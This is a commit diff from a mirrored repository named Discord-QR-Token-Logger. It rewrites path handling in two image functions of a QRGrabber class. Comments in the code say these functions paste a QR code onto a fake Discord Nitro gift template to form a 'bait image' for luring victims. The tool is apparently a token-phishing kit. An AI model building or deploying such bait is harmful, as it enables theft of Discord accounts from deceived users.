mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-10-19 23:37:32 +00:00
Update discord_token.py
This commit is contained in:
@@ -38,11 +38,7 @@ class QRGrabber:
|
|||||||
\nThis QR code will be placed upon a Discord Nitro template to form a full bait image.
|
\nThis QR code will be placed upon a Discord Nitro template to form a full bait image.
|
||||||
"""
|
"""
|
||||||
qr_img = Image.open(path_1, 'r')
|
qr_img = Image.open(path_1, 'r')
|
||||||
ovly_img = Image.open(
|
ovly_img = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) ,self.resources_path, 'overlay.png'), 'r')
|
||||||
os.path.join(
|
|
||||||
self.resources_path,
|
|
||||||
'overlay.png'),
|
|
||||||
'r')
|
|
||||||
qr_img.paste(ovly_img, (60, 55))
|
qr_img.paste(ovly_img, (60, 55))
|
||||||
qr_img.save(path_2, quality=95)
|
qr_img.save(path_2, quality=95)
|
||||||
|
|
||||||
@@ -50,11 +46,7 @@ class QRGrabber:
|
|||||||
def generate_nitro_template(self, path_2: str) -> None:
|
def generate_nitro_template(self, path_2: str) -> None:
|
||||||
#Generates a Discord Nitro template using the files in the resources directory.
|
#Generates a Discord Nitro template using the files in the resources directory.
|
||||||
#This template will be used to form a full bait image after a QR code pasted on it.
|
#This template will be used to form a full bait image after a QR code pasted on it.
|
||||||
nitro_template = Image.open(
|
nitro_template = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) , self.resources_path, 'template.png'), 'r')
|
||||||
os.path.join(
|
|
||||||
self.resources_path,
|
|
||||||
'template.png'),
|
|
||||||
'r')
|
|
||||||
nitro_template.paste(Image.open(path_2, 'r'), (120, 409))
|
nitro_template.paste(Image.open(path_2, 'r'), (120, 409))
|
||||||
nitro_template.save('discord_gift.png', quality=95)
|
nitro_template.save('discord_gift.png', quality=95)
|
||||||
|
|
||||||
|
Reference in New Issue
Block a user